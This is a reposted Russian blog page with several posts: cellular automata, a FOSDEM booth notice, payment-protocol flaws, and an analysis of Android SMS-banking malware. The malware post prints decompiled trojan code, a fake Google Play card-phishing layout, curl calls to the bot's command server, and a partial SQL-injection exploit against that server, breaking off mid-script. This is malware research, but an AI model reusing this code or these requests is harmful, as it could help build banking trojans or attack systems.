...

суббота, 30 января 2016 г.

Простейшие клеточные автоматы и их практическое применение

Этот мир просто охренеть какой сложный, каждый день поражаюсь.

Чтобы хоть как-то его познавать и при этом не съехать с катушек, нам, людишкам, с нашими жалкими мозгами приходится задумчиво смотреть на происходящее, анализировать увиденное и строить модели — абстракции, с помощью которых мы с некоторой точностью кое-что иногда можем предсказывать и даже наивно полагать, что понимаем, что же на самом деле происходит.

И знаете, что удивительно? Этот подход замечательно работает. Ну, почти всегда. По крайней мере, ничего лучше мы до сих пор не придумали.

Но вообще-то я не об этом. Я хочу рассказать об одной чрезвычайно интересной как с эстетической, так и с математической точки зрения категории этих самых моделей.

image

Да, я о клеточных автоматах, а именно — об их подмножестве, простейших клеточных автоматах (Elementary cellular automaton). В этой статье я поведаю, что это такое, какие они бывают, какими свойствами обладают, а также отвечу на главный, на мой взгляд, и совершенно правильный вопрос, который часто несправедливо игнорируется в подобных статьях. Звучит он так: А это всё вообще зачем?

Забегая вперед, скажу, что простейшие клеточные автоматы используются в криптографии, моделировании физических процессов, поведения людей, в биологии, и в целой куче других важных и интересных штук. И вообще: во-первых, это красиво.

Я искренне надеюсь, что после прочтения статьи вы сами захотите поиграться с ними, и на этот случай у меня припасен собранный из JS и палок генератор.

Унылая теория


Что такое клеточный автомат?
Дискретная модель, представляющая собой сетку произвольной размерности, каждая клетка которой в каждый момент времени может принимать одно из конечного множества состояний, и определено правило перехода клеток из одного состояния в другое.
Примеры: «Жизнь» Конуэя, Автомат Фон Неймана, Wireworld, Модель сегрегации Шеллинга.

Какие они бывают?
В зависимости от размерности решетки:
одно-, дву-, трёхмерные, и т.д.
Например, Правило 110 и другие, освещенные в этой статье, — одномерные, «Жизнь» — двумерная.

В зависимости от количества возможных состояний:
бинарные, троичные, и т.д.

В разных клеточных автоматах может по-разному определяться окрестность клетки, то есть, множество клеток, от которых будет зависеть состояние в следующий момент времени. Это может быть, например, окрестность Фон Неймана различных рангов или окрестность Мура.

КА бывают синхронные и асинхронные. В синхронных все клетки системы обновляются одновременно, в асинхронных — каждая делает это независимо.

Одна из самых важных классификаций — по типам поведения. Об этом я расскажу отдельно чуть ниже.


А что же тогда такое простейший клеточный автомат?

Одномерный бинарный (с двумя возможными состояниями) клеточный автомат, где состояние клетки в каждый момент времени зависит только от её собственного состояния и состояний смежных с ней клеток в предыдущий момент времени.


Простейших клеточных автоматов существует всего 256, и поведение некоторых из них дублирует другие. Но, несмотря на это, широко известный в узких кругах Стивен Вольфрам посвятил годы жизни их изучению, до него этим также занимались десятки математиков, да и по сей день ученые пишут диссертации и научные труды на эту тему.

Для начала определимся с терминологией. Так как вариантов таких автоматов всего 256, тот самый Вольфрам (я часто буду на него ссылаться) не стал сильно заморачиваться и предложил называть их числами от 0 до 255. Это именование по причине своей лаконичности и удобства отлично прижилось, и с тех пор оно называется, вы не поверите, "Код Вольфрама".

Я вас понимаю, мне тоже лень ходить по ссылкам, поэтому я коротко расскажу о том, как эти коды понимать. А если вы это и без меня отлично знаете, можете не разворачивать спойлер, а просто читать дальше.

Что означают коды Вольфрама
Рассмотрим сразу на примере.
Возьмём номер правила, например, 110.
1. 11010 = 011011102.
2. Впишем цифры двоичного представления числа в таблицу:
111 110 101 100 011 010 001 000
0 1 1 0 1 1 1 0

В зависимости от состояний соседа слева, самой клетки и соседа справа (первая строка таблицы) на следующем шаге клетка примет одно из состояний, указанных во второй строке.

Еще более наглядно это можно представить так:
правило 110

Также Вольфрам предложил разделить клеточные автоматы на четыре класса по типу поведения:

1 класс: все клетки быстро принимают одинаковое состояние, которое становится стабильным.
Например, Правило 40:
Правило 40

2 класс: состояние всех клеток быстро стабилизируется, либо возникают периодические колебания.
Например, Правила 3 и 33:
Правило 3
Правило 33

3 класс: автомат порождает хаотические, непериодические структуры. Небольшие изменения исходного состояния влекут значительные изменения в результате.
Например, правило 22:
image

4 класс: автомат порождает сложные, взаимодействующие между собой структуры, способные выживать длительное время, однако не достигает стабильности.
Например, правило 193:
image

ПКА в жизни

Правило 30


Иногда элементарные клеточные автоматы обнаруживаются в совершенно неожиданных местах.
Вот, например, посмотрите, какой милашка.

Только не обольщайтесь. Он вас не любит. Это — Текстильный конус, самый опасный для человека моллюск из семейства Конусы. Противоядия от его яда пока нет.

Рисунок на его раковине — не что иное как узор, порожденный «Правилом 30». По крайней мере, именно так считают в Ноттингемском университете.


Так выглядит развитие «Правила 30» из одной точки.

То же самое Правило 30 до недавнего времени использовалось в пакете Mathematica для генерации псевдослучайных чисел. Это стало возможным благодаря важному его свойству: порождаемые им результаты хаотичны, то есть, незначительное изменение в начальных условиях оказывает значительное влияние на порождаемые результаты.

Однако, существует огромное множество начальных условий, при которых правило порождает повторяющиеся паттерны. Например, если в начальных условиях «жива» каждая 14-я клетка, в результате получается вот такой скандинавский свитер.

Правило 110


Одно из самых интересных правил. Вольфрам относит его к классу 4, но в зависимости от начальных условий оно может вести себя как представитель класса 1, 2, 3 или 4.
Для сравнения, эволюция из одной точки:

Налицо периодические структуры у левой границы треугольника, стабильное гомогенное состояние в правой половине, и хаотические структуры, перемежающиеся нестабильными периодическими, в центральной и правой частях треугольника.
А вот — эволюция из случайного начального состояния, заполненного живыми клетками на 50%.

Тут также видны и периодические (что интересно, с разными периодами), и хаотические.
Не буду долго тянуть, в 2000 году Мэтью Кук доказал, что этот клеточный автомат является Тьюринг-полным, то есть, на его основе можно реализовать любую вычислимую функцию.

Фракталы


Есть целый ряд клеточных автоматов (правила 18, 22, 126, 161, 182, 218, etc.), которые, развиваясь из одной точки, порождают фрактальные изображения. Например, рисунок правила 22 — это треугольник Паскаля по модулю 2 (эдакий дискретный аналог «Салфетки Серпинского»). Связь салфетки Серпинского и треугольника Паскаля уже достойно освещалась на Хабре три года назад.
А выглядит всё это счастье так:
Правило 22

Правило 161 порождает инвертированный вариант того же самого фрактала.

Кстати, забыл упомянуть один важный момент, касающийся реализации автоматов.

Для того, чтобы избежать «краевого эффекта», то есть, влияния границ на пограничные клетки, нужно замкнуть автомат в кольцо, т.е. сделать крайнюю левую клетку правым соседом крайней правой, и наоборот.


Иначе вместо вполне ожидаемого полностью закрашенного прямоугольника (эволюция правила 161 с начальным состоянием, полностью состоящим из живых клеток) можно увидеть кое-то неожиданное:
Правило 161 ФЭЙЛ

Правило 184


Правило 184 обладает несколькими интересными особенностями, благодаря которым оно широко применяется в математическом моделировании:
  • После каждого шага количество «живых» клеток остается неизменным
  • Правило в зависимости от исходного состояния может вести себя как правило класса 2 или 4.
  • Чем меньше «живых» клеток в исходном состоянии, тем быстрее автомат стабилизируется

С его помощью довольно эффективно моделируются транспортные потоки.
image
Каждый отдельно взятый автомобиль передвигается вперед, в то время как волна траффика движется назад.
(картинка с Википедии)

Также оно применимо к моделированию осаждения аэрозолей на поверхность и к моделированию аннигиляции частиц. И вроде бы даже (утверждать не берусь, так как из статьи толком ничего не понял) на его основе можно построить мажоритарный элемент.

Заключение


Математика, как ни крути, царица наук (хотя вряд ли её саму можно считать наукой), и работы в ней — непочатый край. Существует множество нерешенных физических задач, многие из которых не решены только из-за того, что еще не придуман математический аппарат для их решения.
А бывает и наоборот — есть, казалось бы, никому не нужный математический аппарат, и тут возникает задача, для которой он внезапно оказывается пригодным (как, например, с правилом 184 и транспортными потоками).
Да и, в конце-то концов, красиво же.

Ссылки по теме:


Атлас простейших клеточных автоматов от Стивена Вольфрама;
Книга Вольфрама New Kind of Science;
Генератор простейших клеточных автоматов за авторством вашего непокорного слуги (исходники);
Еще один замечательный генератор от товарища по имени Nico Disseldorp.

This entry passed through the Full-Text RSS service - if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.

Передаем привет с FOSDEM 2016

Приветствуем! В этот раз мы снова на FOSDEM! Ждем встречи с вами сегодня и завтра.

Найти нас можно по этому адресу:

Building K, Level 1, Group B, table №1
Université libre de Bruxelles
Campus du Solbosch
Avenue Franklin D. Roosevelt 50
1050 Bruxelles
Belgium
image

Нашими соседями по выставке в этот раз являются: BAREOS, Debian, PostgreSQL, OpenMandriva, Mageia и Gentoo.

Сергей Бронников любезно запечатлел на фото наш стенд:


В этот раз нашу команду представляют Víctor Martínez Calvo и Hermes Belusca Maito, которые смогут пообщаться с вами на английском, испанском и французском языках.

Даем интервью

Впечатления посетителей стенда:

Этот планшет кто-то случайно забыл в баре:

Пост будет обновлен, по мере поступления информации с выставки.

This entry passed through the Full-Text RSS service - if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.

Исследователи нашли множество критических уязвимостей в платежных протоколах

Немецкие исследователи информационной безопасности Карстен Ноль (Karsten Nohl), dexter и Фабиан Браунляйн (Fabian Braunlein) на конференции Chaos Computing Club рассказали о критических уязвимостях платежных протоколов, которые могут быть использованы злоумышленниками для кражи данных банковских карт покупателей и денег со счетов продавцов.

В чем проблема


Пользователи должны иметь возможность верить платежным системам: терминалы оплаты сейчас можно встретить повсюду, а оплата банковскими картами становится все более популярной, а в некоторых странах объём безналичных транзакций превышает расчеты наличными.

Тем не менее, большая часть всей этой платежной инфраструктуры опирается на проприетарные протоколы родом из 90-х годов прошлого века — на практике это означает наличие большого количества дыр безопасности. Платежные терминалы и процессоры все чаще становятся целью злоумышленников.

Кража финансовых данных


Используя уязвимости платежных протоколов преступники могут получать доступ к информации большого количества банковских карт, а затем подбирать к ним PIN-коды.

К примеру, в Германии главным коммуникационным протоколом для связи платежных терминалов и кассовых аппаратов является ZVT. Он просто позволяет хакерам считывать информацию с банковских карт, получив доступ к локальной сети магазина.

Хуже того, в протоколе реализован механизм для удаленного чтения PIN-кодов карточек. Он защищен криптографической подписью (MAC). Однако ключ симметричного шифрования хранится в так называемых Hardware Security Modules (HSM), некоторые из которых подвержены простым атакам по времени (timing attack) — это позволяет злоумышленникам получить доступ к ключу.

Важный момент — в множестве платежных терминалов используется один и тот же ключ, что открывает злоумышленникам широкие возможности для совершения атак (и противоречит базовым принципам проектирования защищенных систем).

Компрометация счетов продавцов


Кроме того, недостаточная защищенность финансовых протоколов открывает злоумышленникам возможности и по краже денег со счетов продавцов.

Платежные терминалы общаются со специальными платежными процессорами (которые, в свою очередь, взаимодействуют с банками) через интернет, используя стандарт ISO 8583. Существуют различные «диалекты» этого стандарта — в Германии популярен Poseidon. И он также содержит критические уязвимости.

В частности, одна из ошибок аутентификации описывается так. Для исполнения криптографического протокола аутентификации терминал использует секретный ключ. Пока что, все хорошо. Но дальше мы вновь видим повторение ошибки ZVT — множество терминалов хранят один и тот же ключ. Замена одного номера (Terminal ID) в любом конкретном терминале открывает доступ к счету продавца, к которому «привязан» этот терминал. Что еще хуже, Terminal ID печатается на каждом чеке — это еще больше облегчает проведение атаки.

В результате, атакующие могут производить возврат средств (refund) или производить оплату промокодов на сотовую связь (top-up codes).

Подробное описание представленных атак можно найти в этом PDF.

Не все так плохо


Обнаруженные немецкими исследователями проблемы безопасности платежных протоколов затрагивают главным образом технологии, использующиеся в Германии, и не столь распространены в других странах.

Тем не менее, российские исследователи информационной безопасности также публиковали информацию о серьезных уязвимостях в системах работающих в нашей стране банков и возможных атаках на сами банкоматы и платежные терминалы.

This entry passed through the Full-Text RSS service - if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.

Исследование распространенной малвари под Android


Часто вирусы для android приходят к нам при помощи рассылок. Раньше это были СМС, а теперь еще и современные мессенджеры. Мне было интересно посмотреть, что же сейчас на рынке вредоноса, поэтому зарегистрировалась и подала пару объявлений на avito.
Спустя пару дней после публикации мне позвонили из салона красоты Desheli и пригласили на бесплатную процедуру, вроде как подарок от кого-то из друзей. Смысл в том, что после процедуры они крайне настойчиво уговаривают взять кредит на их косметику. Тема старая, избитая, но все еще работает. А после позвонили еще из чего-то подобного, только тут уже честно сказали, что база номеров набирается автоматически. Всякий раз, как спрашивала название их конторы, начинался ужасный шум, явно не просто так. То, что номер взяли с avito, было понятно, потому что ко мне обращались по тому имени, что я написала в объявлении.

А то, ради чего это все затевалось, пришло только через пару недель. Мне прислали почти подряд 3 смс примерно одинакового содержания.

Что примечательно, из 3 ссылок доступна была только одна, при том, что попытка скачать была сразу же после получения смс.

Скаченный avito.apk весит 437кб. Это много. Такой размер оказался из-за библиотеки android.support.v7, которая тут не нужна. Если её убрать, будет ~50кб.
Отчет virustotal
Судя по количеству детектов, сомнений быть не может — это зловред, еще и не обфусцированный

Начнем с AndroidManifest.xml

Смотрим права, которые запрашиваются при установке приложения:

    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.SEND_SMS" />
    <uses-permission android:name="android.permission.READ_SMS" />
    <uses-permission android:name="android.permission.RECEIVE_SMS" />
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.WAKE_LOCK" />
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    <uses-permission android:name="android.permission.READ_CONTACTS" />
    <uses-permission android:name="android.permission.CALL_PHONE" />
    <uses-permission android:name="android.permission.GET_ACCOUNTS" />
    <uses-permission android:name="android.permission.VIBRATE" />
    <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" />

Все права ожидаемы, кроме android.permission.VIBRATE, потому что обычно все стараются скрывать свое присутствие в системе. После детального осмотра кода выяснилось, что есть еще не используемый запрос android.permission.WRITE_EXTERNAL_STORAGE. Скорее всего, из кода удаляли лишнее или заготовили и не дописали.

Дальше по манифесту DEVICE_ADMIN

Таким образом, приложение помечается как администратор устройства и его нельзя удалить, пока не сняты права в Настройки-Безопасность-Администраторы устройства

   <receiver 
        android:label="Условия использования" 
        android:name="app.six.MyAdmin"
        android:permission="android.permission.BIND_DEVICE_ADMIN">
            <meta-data android:name="android.app.device_admin" android:resource="@layout/policies" />
            <intent-filter>
                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
            </intent-filter>
    </receiver>

layout/policies.xml:

<?xml version="1.0" encoding="utf-8"?>
<device-admin>
    <uses-policies />
</device-admin>

Запрос прав происходит с текстом:

«Условия использования Google Play.
Бесплатный Контент.
Google может разрешать бесплатно загружать или использовать Контент.
К бесплатному Контенту применяются те же условия, что и к купленному, кроме положений, связанных с оплатой (например, к бесплатному Контенту не применяются положения данных Условий о возврате уплаченной цены).
Google может налагать ограничения на ваш доступ к определенному бесплатному Контенту и на его использование вами.»

А отключение прав — «Если вы продолжите, могут возникнуть проблемы при работе с приложениями! Вы уверены, что хотите продолжить?»
На самом деле никаких проблем не будет. Это последний шанс отговорить пользователя.

public CharSequence onDisableRequested(Context ctx, Intent paramIntent) {
        return "Если вы продолжите, могут возникнуть проблемы при работе с приложениями! Вы уверены, что хотите продолжить?";
    }

Если отказаться, попросит еще раз.

Дальше видим фейк на Google Play, выполненный в старом дизайне, еще доматериальном.

      <activity 
                  android:theme="@*android:style/Theme.Light.NoTitleBar.Fullscreen" 
                  android:label="Play Маркет" 
                  android:icon="@drawable/market_icon" 
                  android:name="app.six.CardAtivity" 
                  android:screenOrientation="portrait" 
                  android:configChanges="keyboardHidden|orientation"
       />

Завершается манифест

  <receiver android:name="app.six.MainReceiver">
            <intent-filter android:priority="100">
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
                <action android:name="android.intent.action.BOOT_COMPLETED" />
                <action android:name="android.intent.action.USER_PRESENT" />
                <action android:name="android.intent.action.PHONE_STATE" />
                <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
            </intent-filter>
        </receiver>
        <service android:name="app.six.MainService" />
        <activity 
                  android:label="@string/title_activity_adm" 
                  android:name="app.six.AdmActivity" 
                  android:launchMode="singleTask" />
    </application>
</manifest>

android.provider.Telephony.SMS_RECEIVED — получение смс, приоритет выставлен не максимальный
android.intent.action.BOOT_COMPLETED — для автозапуска после загрузки устройства
android.intent.action.USER_PRESENT — пользователь разблокировал устройство
android.intent.action.PHONE_STATE, android.intent.action.NEW_OUTGOING_CALL — отслеживание звонков пользователя

Устанавливаем, разрешаем администратора устройства, дальше ожидается, что приложение будет спрятано на устройстве. Но оно остается в списке приложений, его даже запустить можно. Подразумевается, что это должно успокоить пользователя.
Скорее всего, разработчик не смог вызвать Activity с запросом прав администратора и решил вывести ошибку.

К сожалению, автозалива по сбербанку у бота не оказалось, владелец посылает команды руками.
Сначала идет запрос на регистрацию бота

curl --socks5 127.0.0.1:9050 --data "mode=register&prefix=1&version_sdk=123.4.4(Bot.v.4.2)&imei=1234567890123&country=ru&number=null&operator=Beeline" http://ift.tt/1QN842B

После чего боту присваивается порядковый номер и пароль. На момент, когда начала анализ, было 350 пользователей.

{"response": [{"bot_id": 1234, "bot_pwd": "blabla"}], "status": "ok"}

Дальше идет запрос команды

curl --socks5 127.0.0.1:9050 --data "mode=getTask&bid=348&pwd=17h9q&divice_admin=1" http://ift.tt/1QN842B
{"response": [{"mode": "set_intercept", "intercept": "all"},{"mode": "upcatsm"},{"mode": "timer_msg", "sms_id": "1232", "sms_text": "БАЛАНС", "sms_number": "900", "time": "20"}], "status": "ok"}

Отвечаем балансом карты:

curl --socks5 127.0.0.1:9050 --data "mode=setSaveInboxSms&number=900&text=VISA1234 Баланс:23000р.&time=2016-01-27 20:01:15&status_sms=1&sms_mode=2&bid=1234" http://ift.tt/1QN842B

{"response": [], "status": "ok"}

После отправки запроса о балансе и повторного запроса команды выдается команда на перехват смс.

{"response": [{"mode": "set_intercept", "intercept": "all"}], "status": "ok"}

Запрос баланса сбербанка идет в автоматическом режиме. Какие-либо иные команды также на ручном управлении.

Получение команды.
Тут следовало бы использовать case, но автор не в курсе, как сравнивать строки в JAVA

 JSONObject newOb = arr.getJSONObject(i);
                            if (newOb.getString("mode").equals("set_intercept")) {
                                dbSet.setIntercept(newOb.getString(DbSet.INTERCEPT));
                            }
                            if (newOb.getString("mode").equals("set_interval")) {
                                dbLog.setInterval(newOb.getInt(U_COLUMS.INTERVAL));
                            }
                            if (newOb.getString("mode").equals("send_sms")) {
                                mItem = new MessageItem(newOb.getString("sms_number"), newOb.getString("sms_text"), newOb.getInt("sms_id"));
                                Settings.sendSms(MainService.this.ctx, mItem);
                            }
                            if (newOb.getString("mode").equals("set_server")) {
                                dbSet.setServer(MainService.this.ctx, newOb.getString(DbSet.SERVER));
                            }
                            if (newOb.getString("mode").equals("upcatsm")) {
                                new Settings(MainService.this.ctx).upServerCatSms();
                            }
                            if (newOb.getString("mode").equals("upsmlist")) {
                                new Settings(MainService.this.ctx).upServerSmsList(newOb.getString("number"));
                            }
                            if (newOb.getString("mode").equals("changeNotify")) {
                                dbSet.setNotify(newOb.getString("text"));
                            }
                            if (newOb.getString("mode").equals("get_ussd")) {
                                SettingsBase.ussdOn(MainService.this.ctx, newOb.getString("text"));
                            }
                            if (newOb.getString("mode").equals("timer_msg")) {
                                mItem = new MessageItem(newOb.getString("sms_number"), newOb.getString("sms_text"), newOb.getInt("sms_id"));
                                Settings.sendSmsTimer(MainService.this.ctx, mItem, newOb.getInt("time"));
}



set_intercept — включает перехват смс на устройстве
И проверка фильтра, по которому идет перехват сообщений

   if ((str.equals("all")) || (str.equals("All")) || (str.equals("ALL")) || (str.equals("")))


И если уж перебирать все варианты, то где еще 5? Для сравнений строк независимо от регистра следовало бы использовать compareToIgnoreCase

setInterval — изменение времени отклика к гейту

send_sms
Отправка смс реализована несколько криво. Не поддерживает отправку составных смс — максимальная длина 70 символов русскими буквами. Рассылку по контактам будет делать неудобно.

public static boolean sendSms(Context context, MessageItem item) {
        try {
            Intent intent = new Intent(context, MainReceiver.class);
            intent.setAction(Constants.CONST_SMS_DELIVERED_STATUS);
            intent.putExtra(Constants.CONST_ID_SEND_SMS, item.id);
            PendingIntent sentPendingIntent = PendingIntent.getBroadcast(context, item.id, intent, 0);
            try {
                SmsManager.getDefault().sendTextMessage(item.phone, null, item.text, sentPendingIntent, null);
            } catch (Exception e) {
                sendMessage(context, "Неизвестная ошибка при отправке СМС.", "ERROR", 1, 0);
            }
            return true;
        } catch (Exception ex) {
            ex.printStackTrace();
            return false;
        }
    }

set_server — меняет адрес гейта, записывается в SharedPreference

upsmlist, upcatsm — отправляют все входящие и исходящие смс в формате json на сервер

changeNotify — посылает пользователю push уведомление с заданным текстом с иконкой от google play. Вот тут вызывается Activity с фейком google play.
Команда на вызов фейка мне не пришла, а собрать пустое приложение с xml фейка не получилось. Похоже при декомпиляции поломался. Ничего интересного в нем все равно нет. Провека на валидность по алгоритму Луна, год, etc

card.xml
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout android:orientation="1" android:background="#fff" android:layout_width="-1" android:layout_height="-1"
    <LinearLayout android:background="@drawable/top" android:layout_width="-1" android:layout_height="50dp"
        <LinearLayout android:orientation="1" android:background="#fff" android:layout_width="-2" android:layout_height="-1">
            <ImageView android:id="@id/imageView1" android:background="#fff" android:layout_width="-2" android:layout_height="-2" android:layout_margin="5dp" android:src="@drawable/market_icon" />
        </LinearLayout>
        <TextView android:textAppearance="?unknown_attr_ref: 1010041" android:textColor="#fff" android:layout_gravity="10" android:id="@id/textView1" android:layout_width="-1" android:layout_height="-2" android:layout_marginLeft="5dp" android:text="Google Play" />
    </LinearLayout>
    <LinearLayout android:orientation="1" android:id="@id/layoutOk" android:background="#fff" android:visibility="2" android:layout_width="-1" android:layout_height="-2">
        <TextView android:textAppearance="?unknown_attr_ref: 1010041" android:textColor="#1c1c1c" android:id="@id/textView5" android:layout_width="-2" android:layout_height="-2" android:layout_margin="5dp" android:text="Спасибо, ваши данные приняты. Ожидайте результат на ваш email адрес." />
        <Button android:textColor="#fff" android:id="@id/btn_close" android:background="@drawable/btn" android:layout_width="-1" android:layout_height="40dp" android:layout_marginLeft="5dp" android:layout_marginTop="10dp" android:layout_marginRight="5dp" android:text="Закрыть" />
    </LinearLayout>
    <LinearLayout android:orientation="1" android:id="@id/layout1" android:layout_width="-1" android:layout_height="-2" />
    <ScrollView android:id="@id/scrollView1" android:visibility="0" android:layout_width="-1" android:layout_height="-1" android:isScrollContainer="true">
        <LinearLayout android:orientation="1" android:layout_width="-1" android:layout_height="-2"
            <LinearLayout android:orientation="1" android:id="@id/layout2" android:background="#fff" android:visibility="0" android:layout_width="-1" android:layout_height="-2">
                <TextView android:textAppearance="?unknown_attr_ref: 1010041" android:textColor="#a52a2a" android:id="@id/textError" android:visibility="2" android:layout_width="-1" android:layout_height="-2" android:layout_margin="3dp" android:text="Medium Text" />
                <TextView android:textAppearance="?unknown_attr_ref: 1010041" android:textColor="#1c1c1c" android:id="@id/textView2" android:layout_width="-1" android:layout_height="-2" android:layout_margin="5dp" android:text="Для продолжения использования сервиса Google Play необходимо ввести платежные данные." />
            </LinearLayout>
            <LinearLayout android:orientation="1" android:id="@id/LinearInput" android:visibility="0" android:layout_width="-1" android:layout_height="-2" android:layout_marginTop="5dp"
                <LinearLayout android:layout_width="-1" android:layout_height="-2">
                    <ImageView android:id="@id/imageView2" android:layout_width="-2" android:layout_height="-2" android:layout_margin="5dp" android:src="@drawable/visa" />
                    <ImageView android:id="@id/imageView3" android:layout_width="-2" android:layout_height="-2" android:layout_margin="5dp" android:src="@drawable/mastercard" />
                    <ImageView android:id="@id/imageView4" android:layout_width="-2" android:layout_height="-2" android:layout_margin="5dp" android:src="@drawable/logo_maestro" />
                    <ImageView android:id="@id/imageView4343f" android:layout_width="-2" android:layout_height="-2" android:layout_margin="5dp" android:src="@drawable/discovery" />
                </LinearLayout>
                <LinearLayout android:layout_width="-1" android:layout_height="-2" android:layout_marginTop="5dp">
                    <EditText android:id="@id/ETCard1" android:layout_width="-1" android:layout_height="-2" android:layout_marginLeft="5dp" android:layout_marginRight="2dp" android:ems="10" android:maxLength="4" android:layout_weight="1.0" android:inputType="2">
                        <requestFocus />
                    </EditText>
                    <EditText android:id="@id/ETCard2" android:focusableInTouchMode="true" android:layout_width="-1" android:layout_height="-2" android:layout_marginLeft="2dp" android:layout_marginRight="2dp" android:maxLength="4" android:digits="0123456789 " android:layout_weight="1.0" android:inputType="2" />
                    <EditText android:id="@id/ETCard3" android:layout_width="-1" android:layout_height="-2" android:layout_marginLeft="2dp" android:layout_marginRight="2dp" android:maxLines="1" android:ems="10" android:maxLength="4" android:layout_weight="1.0" android:inputType="2" />
                    <EditText android:id="@id/ETCard4" android:layout_width="-1" android:layout_height="-2" android:layout_marginLeft="2dp" android:layout_marginRight="5dp" android:ems="10" android:maxLength="4" android:layout_weight="1.0" android:inputType="2" />
                </LinearLayout>
                <LinearLayout android:layout_width="-1" android:layout_height="-2">
                    <EditText android:id="@id/ETCard5" android:layout_width="70dp" android:layout_height="-2" android:layout_marginLeft="5dp" android:layout_marginTop="5dp" android:layout_marginRight="5dp" android:hint="ММ" android:ems="10" android:maxLength="2" android:inputType="2" />
                    <TextView android:layout_gravity="10" android:id="@id/textView3" android:layout_width="-2" android:layout_height="-2" android:text="/" />
                    <EditText android:id="@id/ETCard6" android:layout_width="70dp" android:layout_height="-2" android:layout_margin="5dp" android:hint="ГГ" android:ems="10" android:maxLength="2" android:inputType="2" />
                </LinearLayout>
                <LinearLayout android:layout_width="-1" android:layout_height="-2">
                    <EditText android:id="@id/ETCard7" android:layout_width="100dp" android:layout_height="-2" android:layout_marginLeft="5dp" android:layout_marginTop="5dp" android:layout_marginRight="5dp" android:hint="CVC-код" android:ems="10" android:maxLength="3" android:inputType="2" />
                    <ImageView android:layout_gravity="10" android:id="@id/imageView5" android:layout_width="-2" android:layout_height="-2" android:src="@drawable/cvc_visa" />
                </LinearLayout>
                <EditText android:id="@id/EditTextName" android:layout_width="-1" android:layout_height="-2" android:layout_marginLeft="5dp" android:layout_marginTop="5dp" android:layout_marginRight="5dp" android:hint="Имя и фамилия держателя карты" android:ems="10" android:maxLength="60" android:inputType="1" />
                <Button android:textColor="#fff" android:id="@id/btn_save" android:background="@drawable/btn" android:layout_width="-1" android:layout_height="40dp" android:layout_marginLeft="5dp" android:layout_marginTop="10dp" android:layout_marginRight="5dp" android:text="Продолжить" />
            </LinearLayout>
            <Button android:textColor="#8b8989" android:id="@id/btnCancel" android:background="@drawable/btn_alpa" android:visibility="2" android:layout_width="-1" android:layout_height="40dp" android:layout_marginTop="15dp" android:text="Закрыть" />
        </LinearLayout>
    </ScrollView>
</LinearLayout>


get_ussd
Android не имеет API для получения ответа от USSD команд. Т.е. команду выполнит, но получить текст из ответа нельзя. Тут есть 2 решения проблемы — или через специальные возможности, или подключить стороннюю библиотеку IExtendedNetworkService.aidl. Спец.возможности работают, начиная с 4 версии android, требуют включения отдельной опции в настройках и перехватывают все всплывающие окна без исключения. Также эти уведомления можно глобально подавить. С библиотекой все проще, она ловит, когда это требуется, и работает, начиная с 2 версии андроида. Но слухи о её работоспособности сильно преувеличены.
При этом перехват ответа от USSD может понадобиться только для получения баланса симкарты. USSD команды сбербанка работают таким образом, что и код подтверждения, и ответ будут отправлены по смс.

public static void ussdOn(Context context, String phone) {
        phone = new StringBuilder(String.valueOf(phone)).append(Uri.encode("#")).toString();
        C0091M.m6d("ussdOn: " + phone);
        try {
            Intent intent = new Intent("android.intent.action.CALL", Uri.parse("tel:" + phone));
            intent.addFlags(268435456);
            context.startActivity(intent);
        } catch (Exception e) {
            Settings.sendMessage(context, "Неизвестаная ошибка: USSD " + phone, "СИСТЕМА", 2, 0);
        }
    }


В боте же USSD команда выполняется как факт. Команда прошла или ексепшен. Результат тут не будет получен.

timer_msg — отправка смс по таймеру

Бот имеет скрытый потенциал, функции которые не используются:

downloadFile, installApk — лоадер
getContacts — сбор номеров из телефонной книги
openUrl — вызов браузера с заданным адресом

После анализа бота, скинула посмотреть ссылку на админку letm.

Увидев разрешенный dir listng, решил поискать сервак где не интерпретируется php код, чтобы получить исходники. В итоге нашел на ргхосте незапароленный архив с исходным кодом.
Быстро прошелся по исходникам — большинство параметров фильтруется и проведение атаки невозможно. Но попался один момент где фильтруемый парамер перестал быть таковым.
Разработчик заместо того, чтобы использовать фильтруемый параметр в качестве аргумента в функции предпочел взять то же параметр, но без фильтра. Сама функция помещает информацию о балансе в базу данных.
Тот самый параметр, который передается без фильтра дальше проходит через регулярное выражение preg_match( '/Балансы: (.*?) руб./is', $message, $links)
то что у нас в (.*?) затем будет использовано в запросе к базе данных. Такое регулярное выражение позволяет нам использовать произвольный текст, в данном случае это инъекция.
При помощи инъекции мы можем писать произвольные данные в таблицу в тот числе из других таблиц, что очевидно. Проблема состоит как в дальнейшем их просмотреть, в скрипте выключен показ ошибок. Нужно искать момент доступный для пользователя без авторизации. И такой имеется в регистрации бота. Если бот уже был зарегистрирован, в выводе нам покажет его пароль. Что мы и делаем при помощи инъекции — обновляем свой пароль, отсылаем пакет регистрации повторно и получаем вывод
В итоге написал сплоит, который вытаскивает текущего юзера и версию

python exploit.py target.com

exploit.py
import urllib2,urllib,sys,re

def register(target, mode):
        values = { 'prefix': '111111111','version_sdk': '222222222', 'version_bot': '333333333', 'imei':'4444444444444', 'country':'%%', 'number':'31333731337', 'operator':'telekom'}
        data = urllib.urlencode(values)
        req = urllib2.Request(target+'/controller.php?mode=register', data)
        response = urllib2.urlopen(req)
        result = response.read()
        bot_pwd = re.compile('"bot_pwd": "(.*)"}]');
        regex_pwd = re.findall(bot_pwd, result)
        bot_id = re.compile('"bot_id": (\d+),');
        regex_id = re.findall(bot_id, result)
        if len(regex_pwd)>0:
                if mode == None:
                        exploit(target, regex_id[0], None)
                else:
                        print "Result: "+regex_pwd[0]
        else:
                print 'exploit failed.. cannot find enabled country or smth... :('

def exploit(target, id, payload):
        print 'Sending payload';
        if payload==None:
